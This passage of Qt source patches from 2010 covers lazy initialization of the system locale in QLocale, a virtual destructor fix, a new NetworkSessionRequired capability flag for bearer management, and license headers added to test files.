-1388,7 +1400,8 @@ QSystemLocale::QSystemLocale() /*! \internal */ QSystemLocale::QSystemLocale(bool) -{ } +{ +} /*! Deletes the object. @@ -1410,16 +1423,42 @@ static const QSystemLocale *systemLocale() return QSystemLocale_globalSystemLocale(); } +static const QLocalePrivate *maybeSystemPrivate(); +bool QLocalePrivate::isUninitializedSystemLocale() const +{ + return this == maybeSystemPrivate() && m_language_id == 0; +} + +QVariant QLocalePrivate::querySystemLocale(int type, const QVariant &in) const +{ + QVariant res = systemLocale()->query(QSystemLocale::QueryType(type), in); + if (res.isNull() && isUninitializedSystemLocale()) { + // if we were not able to get data from the system, initialize the + // system locale private data (which is essentially equals to this) + // with a fallback locale. + QLocalePrivate *system_private = globalLocalePrivate(); + *system_private = *systemLocale()->fallbackLocale().d(); + // internal cache is not initialized with values from the system, mark + // it as not fully initialized system locale. + system_private->m_language_id = 0; + } + return res; +} + +// retrieves data from the system locale and caches them locally. void QLocalePrivate::updateSystemPrivate() { const QSystemLocale *sys_locale = systemLocale(); if (!system_lp) - system_lp = globalLocalePrivate(); + return; + + // copy over the information from the fallback locale and modify *system_lp = *sys_locale->fallbackLocale().d(); QVariant res = sys_locale->query(QSystemLocale::LanguageId, QVariant()); if (!res.isNull()) system_lp->m_language_id = res.toInt(); + res = sys_locale->query(QSystemLocale::CountryId, QVariant()); if (!res.isNull()) system_lp->m_country_id = res.toInt(); @@ -1446,19 +1485,29 @@ void QLocalePrivate::updateSystemPrivate() } #endif +// returns the private data for the system locale. Cached data will not be +// initialized until the updateSystemPrivate is called. static const QLocalePrivate *systemPrivate() { #ifndef QT_NO_SYSTEMLOCALE - // copy over the information from the fallback locale and modify - if (!system_lp || system_lp->m_language_id == 0) - QLocalePrivate::updateSystemPrivate(); - + if (!system_lp) { + system_lp = globalLocalePrivate(); + // mark the locale as uninitialized system locale + system_lp->m_language_id = 0; + } return system_lp; #else return locale_data; #endif } +#ifndef QT_NO_SYSTEMLOCALE +static const QLocalePrivate *maybeSystemPrivate() +{ + return system_lp; +} +#endif + static const QLocalePrivate *defaultPrivate() { if (!default_lp) @@ -2283,7 +2332,12 @@ void QLocale::setDefault(const QLocale &locale) */ QLocale::Language QLocale::language() const { - return Language(d()->languageId()); + const QLocalePrivate *dd = d(); +#ifndef QT_NO_SYSTEMLOCALE + if (dd->isUninitializedSystemLocale()) + QLocalePrivate::updateSystemPrivate(); +#endif + return Language(dd->languageId()); } /*! @@ -2293,7 +2347,12 @@ QLocale::Language QLocale::language() const */ QLocale::Country QLocale::country() const { - return Country(d()->countryId()); + const QLocalePrivate *dd = d(); +#ifndef QT_NO_SYSTEMLOCALE + if (dd->isUninitializedSystemLocale()) + QLocalePrivate::updateSystemPrivate(); +#endif + return Country(dd->countryId()); } /*! @@ -2631,8 +2690,8 @@ QString QLocale::toString(const QDate &date, FormatType format) const return QString(); #ifndef QT_NO_SYSTEMLOCALE - if (d() == systemPrivate()) { - QVariant res = systemLocale()->query(format == LongFormat + if (d() == maybeSystemPrivate()) { + QVariant res = d()->querySystemLocale(format == LongFormat ? QSystemLocale::DateToStringLong : QSystemLocale::DateToStringShort, date); if (!res.isNull()) @@ -2726,8 +2785,8 @@ QString QLocale::toString(const QDateTime &dateTime, FormatType format) const return QString(); #ifndef QT_NO_SYSTEMLOCALE - if (d() == systemPrivate()) { - QVariant res = systemLocale()->query(format == LongFormat + if (d() == maybeSystemPrivate()) { + QVariant res = d()->querySystemLocale(format == LongFormat ? QSystemLocale::DateTimeToStringLong : QSystemLocale::DateTimeToStringShort, dateTime); @@ -2752,8 +2811,8 @@ QString QLocale::toString(const QTime &time, FormatType format) const return QString(); #ifndef QT_NO_SYSTEMLOCALE - if (d() == systemPrivate()) { - QVariant res = systemLocale()->query(format == LongFormat + if (d() == maybeSystemPrivate()) { + QVariant res = d()->querySystemLocale(format == LongFormat ? QSystemLocale::TimeToStringLong : QSystemLocale::TimeToStringShort, time); if (!res.isNull()) @@ -2779,8 +2838,8 @@ QString QLocale::toString(const QTime &time, FormatType format) const QString QLocale::dateFormat(FormatType format) const { #ifndef QT_NO_SYSTEMLOCALE - if (d() == systemPrivate()) { - QVariant res = systemLocale()->query(format == LongFormat + if (d() == maybeSystemPrivate()) { + QVariant res = d()->querySystemLocale(format == LongFormat ? QSystemLocale::DateFormatLong : QSystemLocale::DateFormatShort, QVariant()); if (!res.isNull()) @@ -2816,8 +2875,8 @@ QString QLocale::dateFormat(FormatType format) const QString QLocale::timeFormat(FormatType format) const { #ifndef QT_NO_SYSTEMLOCALE - if (d() == systemPrivate()) { - QVariant res = systemLocale()->query(format == LongFormat + if (d() == maybeSystemPrivate()) { + QVariant res = d()->querySystemLocale(format == LongFormat ? QSystemLocale::TimeFormatLong : QSystemLocale::TimeFormatShort, QVariant()); if (!res.isNull()) @@ -2853,8 +2912,8 @@ QString QLocale::timeFormat(FormatType format) const QString QLocale::dateTimeFormat(FormatType format) const { #ifndef QT_NO_SYSTEMLOCALE - if (d() == systemPrivate()) { - QVariant res = systemLocale()->query(format == LongFormat + if (d() == maybeSystemPrivate()) { + QVariant res = d()->querySystemLocale(format == LongFormat ? QSystemLocale::DateTimeFormatLong : QSystemLocale::DateTimeFormatShort, QVariant()); @@ -3021,7 +3080,12 @@ QDateTime QLocale::toDateTime(const QString &string, const QString &format) cons */ QChar QLocale::decimalPoint() const { - return d()->decimal(); + const QLocalePrivate *dd = d(); +#ifndef QT_NO_SYSTEMLOCALE + if (dd->isUninitializedSystemLocale()) + QLocalePrivate::updateSystemPrivate(); +#endif + return dd->decimal(); } /*! @@ -3031,7 +3095,12 @@ QChar QLocale::decimalPoint() const */ QChar QLocale::groupSeparator() const { - return d()->group(); + const QLocalePrivate *dd = d(); +#ifndef QT_NO_SYSTEMLOCALE + if (dd->isUninitializedSystemLocale()) + QLocalePrivate::updateSystemPrivate(); +#endif + return dd->group(); } /*! @@ -3041,7 +3110,12 @@ QChar QLocale::groupSeparator() const */ QChar QLocale::percent() const { - return d()->percent(); + const QLocalePrivate *dd = d(); +#ifndef QT_NO_SYSTEMLOCALE + if (dd->isUninitializedSystemLocale()) + QLocalePrivate::updateSystemPrivate(); +#endif + return dd->percent(); } /*! @@ -3051,7 +3125,12 @@ QChar QLocale::percent() const */ QChar QLocale::zeroDigit() const { - return d()->zero(); + const QLocalePrivate *dd = d(); +#ifndef QT_NO_SYSTEMLOCALE + if (dd->isUninitializedSystemLocale()) + QLocalePrivate::updateSystemPrivate(); +#endif + return dd->zero(); } /*! @@ -3061,7 +3140,12 @@ QChar QLocale::zeroDigit() const */ QChar QLocale::negativeSign() const { - return d()->minus(); + const QLocalePrivate *dd = d(); +#ifndef QT_NO_SYSTEMLOCALE + if (dd->isUninitializedSystemLocale()) + QLocalePrivate::updateSystemPrivate(); +#endif + return dd->minus(); } /*! @@ -3071,7 +3155,12 @@ QChar QLocale::negativeSign() const */ QChar QLocale::positiveSign() const { - return d()->plus(); + const QLocalePrivate *dd = d(); +#ifndef QT_NO_SYSTEMLOCALE + if (dd->isUninitializedSystemLocale()) + QLocalePrivate::updateSystemPrivate(); +#endif + return dd->plus(); } /*! @@ -3081,7 +3170,12 @@ QChar QLocale::positiveSign() const */ QChar QLocale::exponential() const { - return d()->exponential(); + const QLocalePrivate *dd = d(); +#ifndef QT_NO_SYSTEMLOCALE + if (dd->isUninitializedSystemLocale()) + QLocalePrivate::updateSystemPrivate(); +#endif + return dd->exponential(); } static bool qIsUpper(char c) @@ -3200,8 +3294,8 @@ QString QLocale::monthName(int month, FormatType type) const return QString(); #ifndef QT_NO_SYSTEMLOCALE - if (d() == systemPrivate()) { - QVariant res = systemLocale()->query(type == LongFormat + if (d() == maybeSystemPrivate()) { + QVariant res = d()->querySystemLocale(type == LongFormat ? QSystemLocale::MonthNameLong : QSystemLocale::MonthNameShort, month); if (!res.isNull()) @@ -3246,8 +3340,8 @@ QString QLocale::standaloneMonthName(int month, FormatType type) const return QString(); #ifndef QT_NO_SYSTEMLOCALE - if (d() == systemPrivate()) { - QVariant res = systemLocale()->query(type == LongFormat + if (d() == maybeSystemPrivate()) { + QVariant res = d()->querySystemLocale(type == LongFormat ? QSystemLocale::MonthNameLong : QSystemLocale::MonthNameShort, month); if (!res.isNull()) @@ -3293,8 +3387,8 @@ QString QLocale::dayName(int day, FormatType type) const return QString(); #ifndef QT_NO_SYSTEMLOCALE - if (d() == systemPrivate()) { - QVariant res = systemLocale()->query(type == LongFormat + if (d() == maybeSystemPrivate()) { + QVariant res = d()->querySystemLocale(type == LongFormat ? QSystemLocale::DayNameLong : QSystemLocale::DayNameShort, day); if (!res.isNull()) @@ -3342,8 +3436,8 @@ QString QLocale::standaloneDayName(int day, FormatType type) const return QString(); #ifndef QT_NO_SYSTEMLOCALE - if (d() == systemPrivate()) { - QVariant res = systemLocale()->query(type == LongFormat + if (d() == maybeSystemPrivate()) { + QVariant res = d()->querySystemLocale(type == LongFormat ? QSystemLocale::DayNameLong : QSystemLocale::DayNameShort, day); if (!res.isNull()) @@ -3387,8 +3481,8 @@ QLocale::MeasurementSystem QLocale::measurementSystem() const bool found = false; #ifndef QT_NO_SYSTEMLOCALE - if (d() == systemPrivate()) { - QVariant res = systemLocale()->query(QSystemLocale::MeasurementSystem, QVariant()); + if (d() == maybeSystemPrivate()) { + QVariant res = d()->querySystemLocale(QSystemLocale::MeasurementSystem, QVariant()); if (!res.isNull()) { meas = MeasurementSystem(res.toInt()); found = true; @@ -3415,8 +3509,8 @@ QLocale::MeasurementSystem QLocale::measurementSystem() const QString QLocale::amText() const { #ifndef QT_NO_SYSTEMLOCALE - if (d() == systemPrivate()) { - QVariant res = systemLocale()->query(QSystemLocale::AMText, QVariant()); + if (d() == maybeSystemPrivate()) { + QVariant res = d()->querySystemLocale(QSystemLocale::AMText, QVariant()); if (!res.isNull()) return res.toString(); } @@ -3435,8 +3529,8 @@ QString QLocale::amText() const QString QLocale::pmText() const { #ifndef QT_NO_SYSTEMLOCALE - if (d() == systemPrivate()) { - QVariant res = systemLocale()->query(QSystemLocale::PMText, QVariant()); + if (d() == maybeSystemPrivate()) { + QVariant res = d()->querySystemLocale(QSystemLocale::PMText, QVariant()); if (!res.isNull()) return res.toString(); } @@ -3851,6 +3945,10 @@ QString QLocalePrivate::doubleToString(double d, int width, unsigned flags) const { +#ifndef QT_NO_SYSTEMLOCALE + if (isUninitializedSystemLocale()) + QLocalePrivate::updateSystemPrivate(); +#endif if (precision == -1) precision = 6; if (width == -1) @@ -4001,6 +4099,10 @@ QString QLocalePrivate::longLongToString(qlonglong l, int precision, int base, int width, unsigned flags) const { +#ifndef QT_NO_SYSTEMLOCALE + if (isUninitializedSystemLocale()) + QLocalePrivate::updateSystemPrivate(); +#endif bool precision_not_specified = false; if (precision == -1) { precision_not_specified = true; @@ -4086,6 +4188,10 @@ QString QLocalePrivate::unsLongLongToString(qulonglong l, int precision, int base, int width, unsigned flags) const { +#ifndef QT_NO_SYSTEMLOCALE + if (isUninitializedSystemLocale()) + QLocalePrivate::updateSystemPrivate(); +#endif bool precision_not_specified = false; if (precision == -1) { precision_not_specified = true; @@ -4288,6 +4394,10 @@ bool QLocalePrivate::numberToCLocale(const QString &num, bool QLocalePrivate::validateChars(const QString &str, NumberMode numMode, QByteArray *buff, int decDigits) const { +#ifndef QT_NO_SYSTEMLOCALE + if (isUninitializedSystemLocale()) + QLocalePrivate::updateSystemPrivate(); +#endif buff->clear(); buff->reserve(str.length()); @@ -4381,6 +4491,10 @@ bool QLocalePrivate::validateChars(const QString &str, NumberMode numMode, QByte double QLocalePrivate::stringToDouble(const QString &number, bool *ok, GroupSeparatorMode group_sep_mode) const { +#ifndef QT_NO_SYSTEMLOCALE + if (isUninitializedSystemLocale()) + QLocalePrivate::updateSystemPrivate(); +#endif CharBuff buff; if (!numberToCLocale(group().unicode() == 0xa0 ? number.trimmed() : number, group_sep_mode, &buff)) { @@ -4394,6 +4508,10 @@ double QLocalePrivate::stringToDouble(const QString &number, bool *ok, qlonglong QLocalePrivate::stringToLongLong(const QString &number, int base, bool *ok, GroupSeparatorMode group_sep_mode) const { +#ifndef QT_NO_SYSTEMLOCALE + if (isUninitializedSystemLocale()) + QLocalePrivate::updateSystemPrivate(); +#endif CharBuff buff; if (!numberToCLocale(group().unicode() == 0xa0 ? number.trimmed() : number, group_sep_mode, &buff)) { @@ -4408,6 +4526,10 @@ qlonglong QLocalePrivate::stringToLongLong(const QString &number, int base, qulonglong QLocalePrivate::stringToUnsLongLong(const QString &number, int base, bool *ok, GroupSeparatorMode group_sep_mode) const { +#ifndef QT_NO_SYSTEMLOCALE + if (isUninitializedSystemLocale()) + QLocalePrivate::updateSystemPrivate(); +#endif CharBuff buff; if (!numberToCLocale(group().unicode() == 0xa0 ? number.trimmed() : number, group_sep_mode, &buff)) { diff --git a/src/corelib/tools/qlocale.h b/src/corelib/tools/qlocale.h index e854c84..9b7b214 100644 --- a/src/corelib/tools/qlocale.h +++ b/src/corelib/tools/qlocale.h @@ -638,6 +638,7 @@ public: ; private: friend struct QLocalePrivate; + // ### We now use this field to pack an index into locale_data and NumberOptions. // ### Qt 5: change to a QLocaleData *d; uint numberOptions. union { diff --git a/src/corelib/tools/qlocale_p.h b/src/corelib/tools/qlocale_p.h index ecf79e9..003ae8c 100644 --- a/src/corelib/tools/qlocale_p.h +++ b/src/corelib/tools/qlocale_p.h @@ -63,14 +63,14 @@ QT_BEGIN_NAMESPACE struct Q_CORE_EXPORT QLocalePrivate { public: - QChar decimal() const { return QChar(m_decimal); } - QChar group() const { return QChar(m_group); } - QChar list() const { return QChar(m_list); } - QChar percent() const { return QChar(m_percent); } - QChar zero() const { return QChar(m_zero); } - QChar plus() const { return QChar(m_plus); } - QChar minus() const { return QChar(m_minus); } - QChar exponential() const { return QChar(m_exponential); } + QChar decimal() const { Q_ASSERT(m_decimal); return QChar(m_decimal); } + QChar group() const { Q_ASSERT(m_group); return QChar(m_group); } + QChar list() const { Q_ASSERT(m_list); return QChar(m_list); } + QChar percent() const { Q_ASSERT(m_percent); return QChar(m_percent); } + QChar zero() const { Q_ASSERT(m_zero); return QChar(m_zero); } + QChar plus() const { Q_ASSERT(m_plus); return QChar(m_plus); } + QChar minus() const { Q_ASSERT(m_minus); return QChar(m_minus); } + QChar exponential() const { Q_ASSERT(m_exponential); return QChar(m_exponential); } quint32 languageId() const { return m_language_id; } quint32 countryId() const { return m_country_id; } @@ -132,6 +132,8 @@ public: CharBuff *result) const; inline char digitToCLocale(const QChar &c) const; + inline bool isUninitializedSystemLocale() const; + QVariant querySystemLocale(int type, const QVariant &in) const; static void updateSystemPrivate(); enum NumberMode { IntegerMode, DoubleStandardMode, DoubleScientificMode }; diff --git a/tests/auto/qlocale/tst_qlocale.cpp b/tests/auto/qlocale/tst_qlocale.cpp index 5a87154..9363e4e 100644 --- a/tests/auto/qlocale/tst_qlocale.cpp +++ b/tests/auto/qlocale/tst_qlocale.cpp @@ -158,9 +158,15 @@ void tst_QLocale::ctor() QCoreApplication app(argc, (char**)&argv); #endif QLocale default_locale = QLocale::system(); + + QVERIFY(!default_locale.monthName(1, QLocale::LongFormat).isEmpty()); + QVERIFY(!default_locale.monthName(1, QLocale::ShortFormat).isEmpty()); + QVERIFY(default_locale.language() != 0); + QLocale::Language default_lang = default_locale.language(); QLocale::Country default_country = default_locale.country(); + qDebug("Default: %s/%s", QLocale::languageToString(default_lang).toLatin1().constData(), QLocale::countryToString(default_country).toLatin1().constData()); -- cgit v0.12 From ffcd64e38529c6d93c632282a75a31731feeb0d2 Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Thu, 18 Mar 2010 10:31:48 +1000 Subject: Make destructor virtual. --- src/network/bearer/qnetworkconfiguration_p.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/network/bearer/qnetworkconfiguration_p.h b/src/network/bearer/qnetworkconfiguration_p.h index 6908277..07b472e 100644 --- a/src/network/bearer/qnetworkconfiguration_p.h +++ b/src/network/bearer/qnetworkconfiguration_p.h @@ -72,7 +72,7 @@ public: { } - ~QNetworkConfigurationPrivate() + virtual ~QNetworkConfigurationPrivate() { //release pointers to member configurations serviceNetworkMembers.clear(); -- cgit v0.12 From 729bbd99736dd88847018a3378fc89e3be348d87 Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Wed, 17 Mar 2010 10:48:11 +1000 Subject: Don't fail unit test when there is no default network configuration. --- tests/auto/qnetworkconfigmanager/tst_qnetworkconfigmanager.cpp | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/tests/auto/qnetworkconfigmanager/tst_qnetworkconfigmanager.cpp b/tests/auto/qnetworkconfigmanager/tst_qnetworkconfigmanager.cpp index 3052330..b11868a 100644 --- a/tests/auto/qnetworkconfigmanager/tst_qnetworkconfigmanager.cpp +++ b/tests/auto/qnetworkconfigmanager/tst_qnetworkconfigmanager.cpp @@ -1,6 +1,6 @@ /**************************************************************************** ** -** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies). +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** @@ -285,14 +285,12 @@ void tst_QNetworkConfigurationManager::defaultConfiguration() QNetworkConfiguration defaultConfig = manager.defaultConfiguration(); bool confirm = configs.contains(defaultConfig); - bool isUserChoice = (defaultConfig.type() == QNetworkConfiguration::UserChoice); - //user choice config is not part of allConfigurations() - QVERIFY(isUserChoice != confirm); - if (!isUserChoice) { + if (defaultConfig.type() != QNetworkConfiguration::UserChoice) { QVERIFY(confirm || !defaultConfig.isValid()); QVERIFY(!(confirm && !defaultConfig.isValid())); } else { + QVERIFY(!confirm); // user choice config is not part of allConfigurations() QVERIFY(defaultConfig.isValid()); QCOMPARE(defaultConfig.name(), QString("UserChoice")); QCOMPARE(defaultConfig.children().count(), 0); -- cgit v0.12 From cb7e008ee713729dd27666df7282888325c0963a Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Wed, 17 Mar 2010 10:49:27 +1000 Subject: Add flag to indicate that network sessions are expected on a platform. --- mkspecs/common/symbian/symbian.conf | 3 --- mkspecs/linux-g++-maemo/qmake.conf | 3 --- src/network/access/qnetworkaccessmanager.cpp | 14 +++++++------- src/network/access/qnetworkaccessmanager_p.h | 4 ---- src/network/bearer/qnetworkconfigmanager.cpp | 2 ++ src/network/bearer/qnetworkconfigmanager.h | 3 ++- src/plugins/bearer/icd/qicdengine.cpp | 3 ++- src/plugins/bearer/symbian/symbianengine.cpp | 3 ++- 8 files changed, 15 insertions(+), 20 deletions(-) diff --git a/mkspecs/common/symbian/symbian.conf b/mkspecs/common/symbian/symbian.conf index 239b998..1053ab3 100644 --- a/mkspecs/common/symbian/symbian.conf +++ b/mkspecs/common/symbian/symbian.conf @@ -9,9 +9,6 @@ QMAKE_INCREMENTAL_STYLE = sublib DEFINES += UNICODE QT_KEYPAD_NAVIGATION QT_SOFTKEYS_ENABLED QT_USE_MATH_H_FLOATS -# QNetworkAccessManager to create a network session by default -DEFINES += QT_QNAM_DEFAULT_NETWORK_SESSION - QMAKE_COMPILER_DEFINES += SYMBIAN QMAKE_EXT_OBJ = .o diff --git a/mkspecs/linux-g++-maemo/qmake.conf b/mkspecs/linux-g++-maemo/qmake.conf index e272e72..ca201bc 100644 --- a/mkspecs/linux-g++-maemo/qmake.conf +++ b/mkspecs/linux-g++-maemo/qmake.conf @@ -33,7 +33,4 @@ DEFINES += QT_GL_NO_SCISSOR_TEST # Work round SGX 1.4 driver bug (text corrupted), modify glyph cache width: DEFINES += QT_DEFAULT_TEXTURE_GLYPH_CACHE_WIDTH=1024 -# QNetworkAccessManager to create a network session by default -DEFINES += QT_QNAM_DEFAULT_NETWORK_SESSION - load(qt_config) diff --git a/src/network/access/qnetworkaccessmanager.cpp b/src/network/access/qnetworkaccessmanager.cpp index 1940dd1..4518d4c 100644 --- a/src/network/access/qnetworkaccessmanager.cpp +++ b/src/network/access/qnetworkaccessmanager.cpp @@ -880,15 +880,17 @@ QNetworkReply *QNetworkAccessManager::createRequest(QNetworkAccessManager::Opera return new QDisabledNetworkReply(this, req, op); } -#ifdef QT_QNAM_DEFAULT_NETWORK_SESSION if (!d->networkSession && (d->initializeSession || !d->networkConfiguration.isEmpty())) { QNetworkConfigurationManager manager; - if (d->networkConfiguration.isEmpty()) - d->createSession(manager.defaultConfiguration()); - else + if (!d->networkConfiguration.isEmpty()) { d->createSession(manager.configurationFromIdentifier(d->networkConfiguration)); + } else { + if (manager.capabilities() & QNetworkConfigurationManager::NetworkSessionRequired) + d->createSession(manager.defaultConfiguration()); + else + d->initializeSession = false; + } } -#endif if (d->networkSession) d->networkSession->setSessionProperty(QLatin1String("AutoCloseSessionTimeout"), -1); @@ -1208,9 +1210,7 @@ void QNetworkAccessManagerPrivate::createSession(const QNetworkConfiguration &co { Q_Q(QNetworkAccessManager); -#ifdef QT_QNAM_DEFAULT_NETWORK_SESSION initializeSession = false; -#endif if (networkSession) delete networkSession; diff --git a/src/network/access/qnetworkaccessmanager_p.h b/src/network/access/qnetworkaccessmanager_p.h index 4a2a840..0140268 100644 --- a/src/network/access/qnetworkaccessmanager_p.h +++ b/src/network/access/qnetworkaccessmanager_p.h @@ -77,9 +77,7 @@ public: #endif networkSession(0), networkAccessEnabled(true), -#ifdef QT_QNAM_DEFAULT_NETWORK_SESSION initializeSession(true), -#endif cookieJarCreated(false) { } ~QNetworkAccessManagerPrivate(); @@ -126,9 +124,7 @@ public: QNetworkSession *networkSession; QString networkConfiguration; bool networkAccessEnabled; -#ifdef QT_QNAM_DEFAULT_NETWORK_SESSION bool initializeSession; -#endif bool cookieJarCreated; diff --git a/src/network/bearer/qnetworkconfigmanager.cpp b/src/network/bearer/qnetworkconfigmanager.cpp index e7595a4..0cd5efb 100644 --- a/src/network/bearer/qnetworkconfigmanager.cpp +++ b/src/network/bearer/qnetworkconfigmanager.cpp @@ -166,6 +166,8 @@ QNetworkConfigurationManagerPrivate *qNetworkConfigurationManagerPrivate() sockets. \value DataStatistics If this flag is set QNetworkSession can provide statistics about transmitted and received data. + \value NetworkSessionRequired If this flag is set the platform requires that a network + session is created before network operations can be performed. */ /*! diff --git a/src/network/bearer/qnetworkconfigmanager.h b/src/network/bearer/qnetworkconfigmanager.h index 73041fe..bb4d8a0 100644 --- a/src/network/bearer/qnetworkconfigmanager.h +++ b/src/network/bearer/qnetworkconfigmanager.h @@ -64,7 +64,8 @@ public: SystemSessionSupport = 0x00000004, ApplicationLevelRoaming = 0x00000008, ForcedRoaming = 0x00000010, - DataStatistics = 0x00000020 + DataStatistics = 0x00000020, + NetworkSessionRequired = 0x00000040 }; Q_DECLARE_FLAGS(Capabilities, Capability) diff --git a/src/plugins/bearer/icd/qicdengine.cpp b/src/plugins/bearer/icd/qicdengine.cpp index 5e9dc0a..f70a209 100644 --- a/src/plugins/bearer/icd/qicdengine.cpp +++ b/src/plugins/bearer/icd/qicdengine.cpp @@ -417,7 +417,8 @@ QNetworkConfigurationManager::Capabilities QIcdEngine::capabilities() const { return QNetworkConfigurationManager::CanStartAndStopInterfaces | QNetworkConfigurationManager::DataStatistics | - QNetworkConfigurationManager::ForcedRoaming; + QNetworkConfigurationManager::ForcedRoaming | + QNetworkConfigurationManager::NetworkSessionRequired; } QNetworkSessionPrivate *QIcdEngine::createSessionBackend() diff --git a/src/plugins/bearer/symbian/symbianengine.cpp b/src/plugins/bearer/symbian/symbianengine.cpp index 980892a..4d65b80 100644 --- a/src/plugins/bearer/symbian/symbianengine.cpp +++ b/src/plugins/bearer/symbian/symbianengine.cpp @@ -184,7 +184,8 @@ QNetworkConfigurationManager::Capabilities SymbianEngine::capabilities() const capFlags = QNetworkConfigurationManager::CanStartAndStopInterfaces | QNetworkConfigurationManager::DirectConnectionRouting | QNetworkConfigurationManager::SystemSessionSupport | - QNetworkConfigurationManager::DataStatistics; + QNetworkConfigurationManager::DataStatistics | + QNetworkConfigurationManager::NetworkSessionRequired; #ifdef SNAP_FUNCTIONALITY_AVAILABLE capFlags |= QNetworkConfigurationManager::ApplicationLevelRoaming | -- cgit v0.12 From 015ea6d3e6caeaac16b42dfe0e396d7f4e5f1f03 Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Thu, 18 Mar 2010 15:00:59 +1000 Subject: Fix license headers. --- tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp | 41 ++++++++++++++++++++++++++ tests/manual/qtbug-8933/main.cpp | 41 ++++++++++++++++++++++++++ tests/manual/qtbug-8933/widget.cpp | 41 ++++++++++++++++++++++++++ tests/manual/qtbug-8933/widget.h | 41 ++++++++++++++++++++++++++ 4 files changed, 164 insertions(+) diff --git a/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp b/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp index 5c3d4f8..912226d 100644 --- a/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp +++ b/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp @@ -1,3 +1,44 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + #include #include #include diff --git a/tests/manual/qtbug-8933/main.cpp b/tests/manual/qtbug-8933/main.cpp index 841b7c3..c5d8e4e 100644 --- a/tests/manual/qtbug-8933/main.cpp +++ b/tests/manual/qtbug-8933/main.cpp @@ -1,3 +1,44 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + #include #include "widget.h" diff --git a/tests/manual/qtbug-8933/widget.cpp b/tests/manual/qtbug-8933/widget.cpp index 47a440b..4120a8f 100644 --- a/tests/manual/qtbug-8933/widget.cpp +++ b/tests/manual/qtbug-8933/widget.cpp @@ -1,3 +1,44 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + #include "widget.h" #include "ui_widget.h" diff --git a/tests/manual/qtbug-8933/widget.h b/tests/manual/qtbug-8933/widget.h index f6afa8f..01aa141 100644 --- a/tests/manual/qtbug-8933/widget.h +++ b/tests/manual/qtbug-8933/widget.h @@ -1,3 +1,44 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following 